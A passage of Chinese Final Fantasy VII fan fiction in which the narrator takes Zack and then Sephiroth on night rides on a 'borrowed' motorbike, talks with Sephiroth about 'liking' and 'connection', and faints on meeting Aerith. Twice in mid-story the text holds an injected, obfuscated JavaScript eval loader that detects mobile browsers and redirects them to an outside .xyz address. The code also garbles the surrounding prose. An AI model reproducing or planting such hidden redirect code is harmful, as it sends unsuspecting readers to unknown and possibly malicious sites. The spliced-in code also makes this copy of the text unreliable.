扎克斯的注意力成功被摩托车本身吸引了过去,开始滔滔不绝地赞美起这辆“借来”的座驾。 “还行吧,”我应了一声,享受着他略显聒噪却又充满活力的恭维,“也就那样,随便开开。” 我操控着摩托车,熟练地拐过一个弯,神罗大厦那冰冷的巨大身影越来越近。建筑物的玻璃幕墙反射着午后惨白的光线,透着一股非人的压迫感。 神罗大厦的入口已经近在眼前,我放慢车速,最终将摩托车稳稳地停在了大厦门前广场边缘一个相对隐蔽的角落,引擎发出几声不甘的低吼后,终于熄灭了。 周围的空气瞬间安静下来,只剩下远处车辆行驶的细微噪音和风吹过的声音。 “到了,下车吧。” 我解开面罩的卡扣,让清新的空气(虽然也带着消毒水味)涌进来。 扎克斯似乎还有些意犹未尽,他磨磨蹭蹭地松开环在我腰上的手臂,动作带着明显的不舍。刚才一路紧贴带来的温热触感和身体接触的亲密感似乎还萦绕在他心头。他从后座跳下来,脚步还有些发飘,大概是刚才的急速行驶和漂移带来的后遗症。 “啊……这就到了吗?” 扎克斯揉了揉被风吹得有些僵硬的脸颊,湛蓝的眼睛亮晶晶地看着我,里面充满了意犹未尽和感激,“谢谢前辈!今天超开心的!晚餐很好吃,兜风也超刺激!” 他咧开嘴,露出一个灿烂无比的笑容。 “行了,别傻笑了,”我推了他一把,示意他赶紧进去,“快回去休息吧,明天还有训练和任务呢。别忘了把我的零食钱补上。” “哦,好、好的前辈!” 扎克斯一步三回头地朝大厦入口走去,脸上依旧挂着傻乎乎的笑容,“那、那前辈晚安!明天见!训练场见!有事随时联系我!”他用力地朝我挥了挥手,这才小跑着消失在巨大的旋转门后。 看着他消失的背影,我撇了撇嘴。 谁会去训练场,我明天当然是要享受假期。 刚戴上面罩,我的终端就开始震动了,不用想就知道是谁—— 【那辆车是路法斯的。】 “……” 我的指尖停滞了一下后,理所应当的打字。 【为什么停在特种兵停泊区?停了就代表可以被征用。】 【比起这个,萨菲罗斯,来不来兜风(叼花.jpg)】 等待的时间并没有太长。终端再次震动,屏幕上跳出了新的消息。 【神罗的规章制度里,没有“征用”私人财产这一条。尤其是副总裁的。】 【那大概是我记错了。可能写在《神罗员工行为准则补充条款最终修订版的附录C》的某个角落里吧。】 我迅速回复,继续我的胡搅蛮缠。手指在虚拟键盘上飞舞,我补充了一句: 【所以,来不来?兜风哦,难得我‘殉职’有空,你看起来也没任务吧?】 这次,回复来得更快了些。 【你在哪里?】 哦?没直接拒绝?这倒有点出乎我的意料。 【大厦门口,东北角,那个看起来最酷炫的暗红色摩托旁边,很容易找到。】 我发送了位置,然后收起终端,抬头望向神罗大厦那巨大的入口。 夜晚的大厦灯火通明,但内部却透着一股冰冷的死寂。不知道萨菲罗斯是从哪个门出来,还是说他其实一直就在附近看着我刚才那通“表演”? 果不其然,没过几分钟,一个高挑挺拔的身影就从大厦侧面的一个不起眼的小门里走了出来。 银色的长发在夜风中微微飘动,即使隔着一段距离,他身上那股独特的气场也依旧清晰可辨。 萨菲罗斯穿着一身黑色的便服,并非他常穿的特种兵制服或军装,这让他看起来少了几分凌厉的压迫感,多了些许居家的随意——当然,这种“随意”也是相对而言的。 他在我面前几步远的地方停下,视线先是在摩托车上停留了几秒,然后才缓缓移到我脸上。 “路法斯的改装风格,一向很浮夸。”他开口,像是对这辆车的客观评价,“引擎噪音过大,车身平衡性也为了追求速度而有所牺牲。刚才的漂移,很危险。” 萨菲罗斯这是在批评我的车技,还是在担心我?我听不太出来。 “危险?我觉得还好啊,”我耸耸肩,拍了拍摩托车的油箱,“至少比神罗那些慢吞吞的老爷车带劲多了。而且,这车手感不错,挺顺手的。” “是吗?”他微微挑眉,那双眼睛依旧注视着我,“顺手到可以直接无视交通规则,在上层区玩甩尾?” 他果然看见了。 “哎呀,偶尔也要放松一下嘛,”我满不在乎地摆摆手,“一直遵守规矩多无聊。而且,你不觉得刚才那一下很帅吗?”我朝他眨了眨眼,试图用耍赖蒙混过关。 萨菲罗斯没有立刻回答,他沉默地看着我,夜风吹动他额前的几缕银发。过了一会儿,他才再次开口,声音里听不出喜怒。 “你的‘殉职’假期,就是用来做这些的?偷窃副总裁的私人交通工具,在市区危险驾驶,还带着新晋的 1st 一起。” 他居然连扎克斯也提到了,动态视力不错。 “第一,不是偷窃,是‘借用’,它停在特种兵区域,按规矩就是共享资源。”我开始掰扯,“第二,不算危险驾驶,我的技术你还不清楚吗?全程掌控得很好。第三,扎克斯玩得很开心,他还夸我车技好呢。” 我试图把责任分摊出去。 “共享资源?” 萨菲罗斯重复了一遍这个词,嘴角勾起一个淡淡的弧度,带着些许戏谑。 “我怎么不知道神罗有了这种规定?” “你估计忘了,肯定有这个内部条款。” 我脸不红心不跳地胡诌。 萨菲罗斯没再继续这个话题,他向前走了两步,停在我面前,距离近到我能闻到他身上那股熟悉的、独特的香味。 他又用了什么香氛? “所以,”他垂眸看着我,“兜风的邀请,现在还算数吗?” 我笑了一下,转身跨坐在摩托上,顺便拍了拍后面的座位。 “算数,来吧。” 萨菲罗斯没有立刻动作,也没有说话,只是那样站着,目光似乎在我脸上停留了片刻,又扫过我拍打着后座的手。过了几秒,他才几不可查地点了点头,算是接受了我的邀请。 “既然你的‘殉职’假期如此宝贵,”萨菲罗斯终于开口,声音依旧平稳低沉,但他向前迈了一步,走到了摩托车旁边,“那么,就不应该浪费在漫无目的的闲逛上。” 我挑了挑眉,调整了一下坐姿,皮革座椅发出轻微的摩擦声,“我觉得挺有目的的啊,比如,体验一下副总裁座驾的手感,顺便欣赏一下米德加的夜景。” 萨菲罗斯伸出戴着黑色皮革手套的手,指尖轻轻拂过摩托车冰冷的金属油箱,动作带着一种审视的意味。“这辆车的改装侧重于瞬间加速和直线性能,”他评价道,“并不适合在结构复杂的下层区行驶,也不适合在上层区进行刚才那种危险的表演。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479172|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “听起来你对它很了解嘛,”我双手环胸,靠在车把上,“怎么,你也开过?” “只是有所耳闻。”他淡淡回应,收回了手,目光转向我,“如果你坚持要‘兜风’,我建议选择路况相对简单的路线,比如环绕第八区的快速通道,或者去城外的观景点。” 他说着,停顿了一下,补充道:“而且,由我来开。” ? “你行吗你?我开的有多帅刚刚没看见吗?” “看见了。烟雾效果很足,轮胎的尖叫声也足够响亮,吸引了方圆五百米内所有塔克斯的注意力。如果你追求的是这种‘帅气’,那你确实做到了。” “……” 好吧,看在他很少出去玩的份上,就给他玩玩。 我利索地挪到后座,等他坐到我原来的位置时,手臂自然而然地环上了他劲瘦的腰。 隔着一层薄薄的黑色便服和里面的内衬,我能清晰地感受到他腰腹肌肉紧实的轮廓。体温透过布料传递过来,不像我想象中那么冰冷,反而带着一种沉稳的温热,与夜晚的凉风形成对比。 萨菲罗斯的身体在我环住他的一瞬间,似乎极轻微地绷紧了一下,快得几乎让我以为是错觉。但他很快就放松下来,只是微微调整了一下坐姿,确保两人都处于一个相对舒适又不至于过分紧贴的位置。 “坐稳了。”他开口,声音依旧平稳,“这辆车的起步扭矩很大,抓不住的话,后果自负。” “知道了知道了,啰嗦。” 他没再多言,戴着黑色手套的双手熟练地握住车把,指尖在启动按钮上轻轻一按。改装过的引擎再次苏醒,发出的轰鸣比我启动时更加低沉有力,如同某种蓄势待发的猛兽的咆哮,震动感清晰地从车身传递到我的身体。 仪表盘亮起,幽蓝色的光芒映照着他专注的侧脸轮廓。他没有像我那样立刻粗暴地拧动油门,而是稍微倾听了一下引擎的声音,似乎在判断车辆的状态。然后,他挂挡、松离合、给油,一系列动作流畅得如同行云流水,没有丝毫多余的动作。 摩托车平稳地向前驶出,起步异常顺滑,完全没有我刚才那种猛地窜出去的突兀感。车速逐渐提升,但加速度控制得极为精准,既能感受到澎湃的动力,又不会让人因为骤然的推背感而措手不及。 他怎么开的这么……温柔? “萨菲罗斯,你出门的时候没吃饭吗?” “……” 话音刚落,他手腕的动作陡然加快。 引擎的轰鸣声瞬间拔高了一个调,不再是刚才那种沉稳的低吼,而是充满了爆发力的咆哮。强大的动力通过后轮传递到地面,摩托车猛地向前加速,这次不再是循序渐进,而是如同挣脱了无形枷锁的猛兽,带着狂暴的力量向前冲刺。 猝不及防的加速把我整个人都向后甩去,我下意识地惊呼一声,抱紧他腰腹的手臂收紧,脸颊也不由自主地紧紧贴在了他的后背上。风声陡然变得尖锐刺耳,疯狂地灌入面罩的缝隙,几乎让我睁不开眼睛。两旁的建筑如同流动的光影,飞速向后掠去。 这家伙! “唔——萨菲罗斯!”我模糊不清地喊着,声音被狂风撕扯得七零八落,“你——” “刚才不是嫌我开得慢吗?”他的声音带着明显的笑意,在狂风中显得有些失真,却异常清晰,“现在感觉如何?” 他居然在笑! 摩托车如同暗红色的幽灵,在空旷的街道上划出难以捕捉的轨迹。 他并非直线狂飙,而是在宽阔的道路上进行着一系列精准而流畅的变向和压弯。每一次倾斜车身,都恰到好处,轮胎紧紧抓住地面,强大的离心力将我牢牢地按在他的背上。 我能清晰地感受到他身体肌肉的紧绷与放松,感受到他对这辆“浮夸”的摩托车惊人的掌控力。 明明都是拧油门加速,他开起来又和我不大一样,不过—— “太爽了!再快点!” 我的喊声几乎被狂暴的风声吞没,但紧贴在他背上的我,能感觉到他胸腔传来一声低沉的轻笑。那笑声透过骨骼传递过来,带着一种奇异的震动,和他平日截然不同,充满了某种被释放的、近乎危险的愉悦。 “如你所愿。” 他带着我直接冲去了米德加广场—— 那巨大的、灯火辉煌的空间瞬间占据了整个视野。无数探照灯从高耸的建筑顶部投下,将整个广场照得亮如白昼。广告牌在空中缓缓旋转,播放着神罗公司的宣传片或是各种光鲜亮丽的消费品广告。地面由巨大的金属板块拼接而成,光滑平整,倒映着周围建筑的璀璨灯火。 中央矗立着一座象征着神罗权力的雕塑,即使在夜晚也散发着冰冷的光泽。此刻广场上的人并不多,只有零星的行人和几辆巡逻的安保车辆。我们这辆突然闯入的摩托车,无疑成了全场的焦点。 萨菲罗斯并没有减速,反而以一个更加惊险的角度切入广场边缘的环形车道。车身倾斜到了极限,我感觉自己几乎要和地面擦肩而过。 “就是这样!萨菲罗斯!再来一次!”我欢呼一声,“刚才那个超帅!绕着那个破雕像再转一圈!” “呵,”一声极轻的、近乎叹息的笑声从前方传来,透过狂风,却清晰地钻入我的耳朵,“抓紧了。” 眼前的景象彻底模糊成一片流动的光影,广场上璀璨的灯火、旋转的广告牌、高耸的建筑轮廓全都扭曲变形,如同被投入高速转动的万花筒。 唯一清晰的,只有前方那座越来越近的、冰冷的金属雕像,以及他专注驾驶时,那线条分明的侧脸轮廓。 就在我们即将撞上雕像基座的前一秒,萨菲罗斯猛地压低车身,摩托车以一个令人心跳骤停的角度极限倾斜,车轮发出刺耳的摩擦声,几乎要擦出火花。 我们开始绕着那巨大的雕像高速旋转。 “呜呼——!” 神罗雕像在我眼前飞速转动,冰冷的金属表面反射着周围的光芒,投下巨大的、不断移动的阴影。广场的地面仿佛变成了一个流动的圆环,远处的行人和车辆都成了模糊的点缀。 仿佛整个世界都在围着我们旋转、倾倒。 “怎么样?”萨菲罗斯的声音再次响起,这次更加清晰,带着一种掌控一切的从容和显而易见的愉悦,“这圈风景,还满意吗?” 30. 第28章 我和他又玩了一个多小时,车速才回归正常。 此刻,我摘下了面罩,在他身后有一搭没一搭的扯萨菲罗斯的头发。 他也任由我动作。 银发触感冰凉丝滑,如同最上等的绸缎,明明刚刚在风中卷成那样,现在却依然顺滑。 我凑近他背后,闻了闻,也还是那股说不出的清香味,好像刚刚的剧烈活动对它没有丝毫影响似的。 安静之时,我放下他的头发,开始发呆。 脑子里的想法一个个冒出来。 凭什么都差不多,我头发就没他长? 还有……我们之间到底差几年呢? 都没有具体生日,估计不出数字,为什么就默认我比他年纪小? 或许我才是姐姐,毕竟我个人觉得我比萨菲罗斯成熟的多。 对了,他没有主动跟我提臂环的事,那就是还没查到……估计只有杰内西斯那里有线索。 那个红毛到底去哪里躲着了? 夜色中,我忽然想到了今天的事。 “萨菲罗斯,‘喜欢’是什么呢?” 以防他误会,我补上了一句对我来说相当新鲜的概念。 “对人的,不是对物品的。” “……” 他怎么不说话了? 于是我开始继续发呆,一边想着怎么去实验室里继续变着花样逼问杰内西斯的复制体,一边思索着未来我该怎么攻下神罗。 不一会我们就到神罗大厦附近了,我拍了拍被风吹的有些凉的脸,理所应当的指挥萨菲罗斯。 “我们把这辆车停远一些,我明天还要玩呢。” “……嗯。” 但是他却没动作。 我等了几秒,见他还是没有要下车的意思,便有些不耐烦地用手指戳了戳他的后背。“喂,萨菲罗斯,发什么呆呢?” 他终于动了。 不是下车,而是微微侧过头,银色的发丝随着动作滑落,他望着我。 “你刚才问,‘喜欢’是什么……” “为什么会突然问这个?” 他没有回答我的问题,反而把问题抛了回来。这家伙,总是这样。 我随口回应,并不想提到那个棕发少女——他肯定又要刨根问底/套话我,如果知道我晕厥了,那更不得了,我估计半年都出不了神罗。 “好奇嘛,今天跟扎克斯聊了一下。” “……” 萨菲罗斯的手从摩托把手上缓缓移开。 “那是一种廉价且不可靠的情感。” ?? 好奇怪,怎么在他口里,“喜欢”变成了某种贬义词? 我好奇的发问。 “那什么是重要的呢?” “……” 他凝视着我。 看什么看? “你在看什么?”我最终还是忍不住开口,打破了这短暂的沉默,“我脸上有东西吗?还是说你被我帅晕了?” 萨菲罗斯终于移开了视线,他转过头,望向远处神罗大厦那冰冷的轮廓,仿佛在思考措辞。过了一会儿,他才重新看向我,声音低沉而清晰,带着一种不容置疑的笃定。 “连接。”他缓缓吐出这两个字。 “连接?什么连接?网线吗?” 萨菲罗斯摇了摇头,他抬起一只戴着黑色手套的手,修长的手指轻轻拂过我额前的一缕碎发,动作自然得如同拂去灰尘。指尖冰凉的皮革触感让我颈后的汗毛都立了起来。 “不是那种冰冷的线路,”他继续说道,声音里带着某种难以言喻的意味,“是更深层、更稳固的东西。一种…无法被轻易切断,不被距离或时间所磨灭的纽带。” 他停顿了一下,魔晄绿的眼眸再次锁定了我的眼睛。 “比如我们之间这种。独一无二,无法复制。” “我们?”我重复着,指了指他,又指了指自己,“这我同意,毕竟长成我们这样的,估计全盖亚也找不出第三个了。” 我还是觉得他这话说得莫名其妙的。 长得像能有多重要? “外貌只是最表层的体现,”萨菲罗斯放下了手,重新握住摩托车的把手,但并没有启动,“更重要的是本质。我们源自相似的起点,拥有共通的力量,能够理解彼此的世界。这难道不是一种远比‘喜欢’更深刻、更可靠的连接吗?” 他看着我,眼神认真。 “你觉得其他人,他们能真正理解你吗?能跟上你的速度?能承受你无意识散发的力量?能在你失控的时候拉住你?” 奇怪的比较,而且,他跑题了吧? “这跟‘喜欢’有什么关系?” “孰优孰劣。” 我就着自己对扎克斯“理论”的模糊理解,发表意见。 “还是想让对方开心这样的简单想法更好吧,心跳加速什么的……” 萨菲罗斯语气平静,“心跳加速只是生物体受到外界刺激的应激反应,廉价而短暂。至于开心,”他顿了顿,目光扫过我,“你能确定对方的开心,不是伪装出来的吗?或者,那种开心能持续多久?一旦新鲜感褪去,所谓的‘喜欢’也就烟消云散了。” 他这话说得好刻薄。 “那照你这么说,什么情感都不可靠了?”我反驳道,“连接?谁知道哪天会不会断?力量?总有更强的人出现。共同点?说不定哪天我就变异了,跟你完全不一样了呢?” 萨菲罗斯听到我的反驳,非但没有生气,反而低低地笑了起来。那笑声很轻,却清晰地在夜色中漾开,带着一种奇异的磁性。 “不会断。” 他笃定地说。 “无论你变成什么样,我都会找到你。这种联系,才是超越一切表象的、真正重要的东西。它稳定,可靠,并且,只属于我们。” 好吧,我没听懂,但是萨菲罗斯的说法跟扎克斯完全不一样。 他重新启动了摩托车,引擎发出平稳的轰鸣。 “时间不早了,该回去了。”他淡淡地说,仿佛刚才那番关于“喜欢”和“连接”的讨论从未发生过。 “明天你还要继续你的‘殉职’假期,需要充足的睡眠。” 摩托车缓缓驶离广场,融入上层区寂静的夜色中。我坐在后座,手臂重新环住他的腰,感受着他身体传来的稳定节奏。夜风吹拂着我的脸颊,带着夜晚的凉意。 我其实一点也不困——如果不是在高强度的任务压迫下,我最多可以做到一周不休息。 但是不知为何,我打了个哈欠。 夜色之中,我想起他刚刚的话,随口道。 “那……我变成仙人掌了,你也找得到我吗?” “能。” 这么快就回答? “我要是变成鱼了呢?” “能。” “我要是变成陆行鸟了呢?” 没等他开口,我补充了一句。 “毛茸茸,会嘎嘎叫的那种。” 萨菲罗斯的身体似乎因为我的话而轻微震动了一下,我感觉他应该是笑了。 他没有立刻回答,摩托车平稳地驶过一个路口,上层区夜晚的街道空旷而寂静,只有路灯投下昏黄的光晕。 过了一会儿,萨菲罗斯才开口,声音比刚才更低沉了一些,带着一种奇异的、近乎柔和的笃定。 “嗯,那我会去康多兀鹫堡附近最大的农场,”他语调平稳地开始描述,仿佛在制定一个周密的作战计划,“那里的陆行鸟最多,也最活泼。” “接着呢?你怎么从那么多嘎嘎叫的胖鸟里找到我?”我追问。 萨菲罗斯微微侧过头,虽然我看不清他完整的表情,但能感觉到他目光的焦点落在我这个方向。“很简单,”他的声音透过夜风传来,清晰而自信,“我会呼唤你的名字。” “哈?就这?” 我不信,“万一有别的陆行鸟也叫这个名字呢?或者它们都听不懂人话怎么办?” “它们不需要听懂,名字本身也不重要,”萨菲罗斯的语气带着一种理所应当的意味,“只需要你明白我在呼唤你。你的反应会和其他所有陆行鸟都不同。你的动作,你的气息,你看着我的眼神……即使隔着一身羽毛,我也能认出来。” 他停顿了一下,声音放得更轻,几乎要被风声盖过。“或者,我只需要靠近,就能感觉到。那种‘连接’,不会因为形态的改变而消失。就像现在这样,即使你只是一只吵闹的鸟,我也能找到你。” ? 啧,谁不能做到了?我可不需要靠他那种诡异的连接。 我抱胸发表我的宣言。 “那我也能找到你。” “哦?”他的声音透过微风传来,清晰地钻入我的耳朵,“你要怎么找到我?” “非常简单。” 我举起手,竖起手指,一个个给他举例。 “如果你变成陆行鸟了,大概是白色的那种,当然,白毛的陆行鸟也不少……但你一定是跑最快的。还有,你估计不会吃野菜,所以特别难抓。” “最关键的一点——” “你肯定不愿意乖乖当坐骑,估计会成为第一个‘起义’的陆行鸟!” “起义的陆行鸟?”萨菲罗斯重复着我最后那句话,语调微微上扬,带着明显的调侃意味,“听起来,这描述更符合你的行事风格,不是吗?” 我放下手,轻轻敲了敲他的背。 “我哪里像陆行鸟——别告诉我你会乖乖当坐骑!” 我开始模仿起萨菲罗斯平时那种诡异(?)的语气,发出一声冷笑。 “呵……弱小的人类,居然妄想利用更高等的力量,这个星球最终是属于陆行鸟的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479173|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……” 他又笑了。 震动透过紧贴的身体传递过来。这家伙,被我模仿得这么惟妙惟肖,居然不生气?还笑得这么开心? “嗯,语调模仿得很到位,”他先是给予了肯定,随即话锋一转,带着他特有的、不容置疑的自信,“不过,你的前提就错了。” “前提错了?”我疑惑地重复,“哪里错了?难道你不会是那只最拽的白毛鸟吗?跑得最快,还不吃野菜,一听就很符合你的设定啊。” “我当然会是独一无二的那只,这点毋庸置疑,”萨菲罗斯的声音带着一种理所应当,仿佛这是宇宙公理,“但你忽略了一点——” 他微微偏过头,夜风将他几缕银发吹到我的脸颊旁,冰凉的触感一闪而过。 “为什么你会认为,我会给其他‘弱小的人类’机会来‘妄想利用’我呢?在我成为‘起义’领袖之前,我大概会先确保整个农场,甚至整个星球的陆行鸟,都只听从我一个鸟的命令。” “哈!我就知道!”我抬起下巴,“那你这不是更容易被我找到了吗?” “找到我,然后呢?”他反问,将话题的主动权又拉了回去,“抓住我?像你说的那样?你确定你能抓住一只…统一了全球陆行鸟的白色‘领袖’?” “怎么不能?我要把你抓走,然后天天奴役你。让领袖给我当坐骑——多帅啊!” 车停了下来,我认出了这是神罗附近的一个废弃仓库。 萨菲罗斯将摩托车熄火,引擎最后一声低沉的轰鸣消失后,周围只剩下远处城市隐约的背景噪音和我们两人浅浅的呼吸声。 他从车上下来,动作流畅而优雅,丝毫看不出刚才激烈驾驶的痕迹。 这里光线昏暗,只有远处街道的路灯透过破损的窗户,投下几道狭长而惨淡的光束,勉强照亮了堆积在角落里的废弃金属零件和散落在地上的油污纸板。空气中弥漫着灰尘、铁锈和机油混合的陈旧气味,带着一种被时光遗忘的寂静。 萨菲罗斯转过身,面对着还坐在后座的我。他抬手,漫不经心地拂去黑色便服上可能沾染的灰尘,动作从容不迫。 “有趣的想法。不过,我可不好抓。” 他居然还顺着我的话说下去了。 我一下从车上跳下来。 “你到时候只是一只陆行鸟。怎么,你难道还会用正宗吗?还可以用魔法?就算你能召唤陨石,我也要把你抓起来!” 发表宣言过后,我开始推车,正忙活着调整车头方向,想把它塞进一堆废弃轮胎后面,萨菲罗斯的声音从身后悠悠传来。 “……比起思考怎么抓住一只假设中的陆行鸟,”他的声音压低了一些,带着一种奇特的穿透力,“你或许更应该想想,为什么你会如此执着于‘抓住’我,‘奴役’我?” “欸?” 我被他这个问题问得一愣。为什么?因为听起来很酷啊!陆行鸟领袖给我当坐骑,说出去多有面子! “因为那样很帅啊!”我理直气壮地回答,“想想看,别人都骑着普通的陆行鸟,而我骑着白色的鸟王!多威风!” “只是因为威风?”萨菲罗斯追问,他的目光紧紧锁定着我,“没有别的原因了吗?” “还能有什么原因?” 我被他看得有点不自在,移开视线,继续跟那辆摩托车较劲,“难道我还图你下蛋吗?鸟王下的蛋是不是特别大,能做成超大份的煎蛋?” “……” 萨菲罗斯沉默了。 —————— 第二天。 第七贫民窟。 清晨的人造阳光撒进第七贫民窟的建筑内,艾米娜早晨起来时,先是给爱丽丝做了早餐,再轻轻敲了敲正熟睡少女的门。 “爱丽丝,早上了哦。” 房间内发出迷迷糊糊的应声,艾米娜将早餐摆在餐桌上后,忽然听见了敲门声。 她打开了家门。 银白色的发丝在光芒的照耀下根根分明,女人背着一把半人长的大太刀,一身漆黑,在她身侧,一辆夸张的红色摩托刚刚熄火,引擎还在稍稍响动。 面罩之上,那翠绿的眸子带着魔晄的色泽。 “爱丽丝呢?” 在她一旁,有一个穿着神罗军制式制服的金发少年尽量保持认真,但却也掩盖不住那一丝茫然——好像是被强行拉过来的。 “……” 正当艾米娜思考着这是否是神罗来的新工作人员,要采取什么措施时,身后的爱丽丝走了过来。 “妈妈,怎么了?” “……” 正对面的那个银发女人发出一声意味不明的冷笑。 “呵,终于出现了吗?” 接着一下晕倒在地上。 “……长官?!!” 金发少年瞪大了眼睛。 31. 第29章 “砰——” 沉闷的倒地声打破了第七贫民窟清晨的宁静。 伴随着克劳德那声走了调的惊呼,我眼前最后残留的光影彻底被黑暗吞噬。 意识最后只剩下一个想法。 克劳德,不要把我的坐骑就停在这里啊! ———— 黑暗散去,接着是模模糊糊的景象。 我大概在做梦。 面前的场景忽然转换。 天空被撕裂了。 一道难以形容的巨大裂痕横贯天际,从裂痕中,滚滚而来的不是云霞,而是翻涌的、如同沸腾岩浆般的猩红。在那猩红的深处,一颗燃烧的、带着毁灭气息的星体正缓缓坠落,拖拽着长长的、如同鲜血凝固的尾迹。 它太大了,大到占据了整个视野,仿佛下一秒就要将目之所及的一切都碾碎、吞噬。 陨石。 这个词语突兀地出现在意识中,带着一种令人窒息的压迫感。 星球在哭泣。不是拟人化的比喻,而是真切的感受。大地在震颤,空气中弥漫着焦灼与绝望,仿佛有无数无形的怨念在哀嚎。 视野下方,绿色的光芒如同潮水般涌动,那是生命之流,此刻却显得躁动不安,如同被投入沸水的油滴,翻滚着,挣扎着,却无法阻止那来自天外的毁灭。 接下来出现在视野里的—— 赫然是一只白色的陆行鸟?! 末日般的场景下,那只陆行鸟却显得异常平静,甚至可以说,带着一种居高临下的审视感。它的羽毛洁白无瑕,每一根羽毛都仿佛凝聚着清冷的光辉。 白色陆行鸟的站姿挺拔,修长的脖颈微微扬起,陆行鸟那双本该温顺的眼睛,此刻却闪烁着锐利而冰冷的、如同魔晄般的莹绿色光芒。 奇幻的场景中,另一只陆行鸟出现了。 那是一只背着大剑的…… 金色陆行鸟?! 接着它们开始了对话。 “嘎!嘎嘎嘎?!” “嘎嘎,嘎?” “嘎嘎嘎——嘎!” ??????? 金色的陆行鸟似乎对白色陆行鸟的话语感到极度的愤怒与不解,而白色陆行鸟对于金色陆行鸟激烈的反应显得漠不关心。它优雅地梳理了一下自己洁白的颈羽,动作从容不迫。 “嘎。” 它只吐出一个简短的音节。 这什么鬼。 我是在做梦吗? “你们在说什么?能说人话吗?” 出声的刹那,那两只陆行鸟双双望着我。 鸟眼里的情绪复杂的我居然看不懂。 仅仅只是一瞬间,那只白色陆行鸟就往我这里冲了过来,但另一道金色的残影更快,宽厚的剑身带着沉重的呼啸声横斩而出,“锵”的一声巨响,金属碰撞的火花在眼前炸开,刺得我眼睛生疼。 白色陆行鸟被那股巨力震得后退了半步,它那双魔晄绿的眸子里,初见的情绪已经被一种执拗的、燃烧般的东西取代,视线越过那把挡在面前的巨大剑刃,牢牢锁定着我。 “嘎嘎。” 白色陆行鸟的音调平稳,却带着一种不容置疑的宣告意味。 “嘎嘎嘎!嘎!” 金毛陆行鸟发出一连串急促的叫声,听起来愤怒到了极点。它背上的大剑没有收回,依旧横在我和白毛鸟之间,金色的羽毛都因为激动而微微颤抖。 “噗——” 我实在忍不住,笑了出来。 那两只鸟又盯着我看了。 “嘎嘎嘎,嘎嘎!” 金毛陆行鸟率先打破了沉默,它背上的大剑依旧没有放下,反而又往前递了递,摆出更明显的防御姿态。它的叫声急促而响亮,充满了指责的意味。 什么意思,我不能笑吗? “我……” ———— 我猛地惊醒,自己在一张沙发上躺着。 这个梦也太诡异了吧,我怎么会梦到两只嘎嘎乱叫的蠢鸟打架呢? 回到现实。 面前的场景逐渐清晰,出现在身畔的是克劳德那张紧张的脸,看见我清醒后,他松了一口气。 “长官……” “克劳德,我车你停好了吗?” 我打断了他的语句,急忙发问。 “没有钥匙,我开不了啊长官!” 啧,你不会用魔晄偷车吗?克劳德,我大早上拉你过来帮我处理我的“暗恋对象”可不是让你站着看的。 当然,我用的借口是要带他去做“机密任务”。 昨天晚上我一回去,就开始在网上搜索“如何处理喜欢的人”。 什么送花、写情书、制造偶遇……简直蠢透了。 最后还是萨菲罗斯那个“连接论”和扎克斯那个“喜欢就是想一直待在一起”的说法给了我“启发”。 既然看到她就会心跳加速、眼前发黑,甚至直接晕倒,那最好的解决办法,不就是把她抓到身边,让她哪儿也去不了,直到我适应这种感觉,或者找到“治病”的方法为止吗? 于是我当晚就查遍了神罗的资料库,没想到居然还真有那个少女的档案,更特殊一些的信息居然对我封锁了,只能查到当前住址,近期活动,和姓名之类的基本信息。 结果现实里只是见一面就晕倒了? 有这样的力量,呵……不愧是我看上的女人(来自网络语料)。 “克劳德,你们为什么过来呢?” 在客厅的另一边,棕发少女探出头,她的语气带着好奇和一丝探究。 “……” 是她! 棕色的长发柔顺地披在肩上,发间系着一个粉色的发带,随着爱丽丝的动作轻轻晃动。那双翠绿色的眼眸清澈明亮,如同某种未经雕琢的宝石,此刻正好奇地打量着我和克劳德。 看到她的一瞬间,我感觉自己的大脑像被按下了暂停键,所有的思绪都停止了运转。 心脏不受控制地狂跳起来,撞击着胸腔,发出震耳欲聋的响声。血液仿佛瞬间涌向头部,又猛地退去,带来一阵轻微的眩晕感,最关键的是,我感觉我自己要裂成两半,一半往外走,一半冲过去。 小臂的臂环又开始发热,这个温度我觉得可以拿来煎蛋了。 “长官说,带我来做机密任务……呃,很抱歉打扰你们,爱丽丝,还有艾米娜女士。” 看来在我不知道的时候,克劳德已经和她们都打过照面了。 少女走近了一些。 “那么,她是神罗战士吗?” “是的,长官她是神罗的1st……” 我终于能说话了。 “算是吧,不过未来我会攻下神罗,成为星球的主人。” 没错,我的理想早就变得更加远大了。之前先当神罗总裁再一统星球的想法还是太鄙薄了,不如直接灭掉这个没用的公司。 ……克劳德你这是什么表情?再露出这种脸色,我就把你未来1st的名头收回去。 “噗嗤。” 清脆的、如同银铃般的轻笑声打破了这诡异的寂静。 不是嘲笑,而是带着纯粹的好奇和一点点促狭。爱丽丝歪着头,翠绿色的眼眸亮晶晶地看着我,脸上绽开一个甜美的笑容,嘴角弯起的弧度如同新月。她似乎完全没被我那 “惊世骇俗”的宣言吓到,反而像听到了什么有趣的故事。 “星球的主人吗?”爱丽丝重复了一遍,声音轻快,带着一丝探究,“听起来是个很了不起的目标呢。那,成为星球的主人之后,你打算做些什么呢?” 面罩下的我自信一笑。 “当上盖亚的皇帝当然只是第一步。然后,我会发展盖亚的科技和经济,接着开启星际征伐,让我的领土继续扩大,直到攻下整片星系。” 继承那本《系统之我在米德加开诊所》主角的梦想! 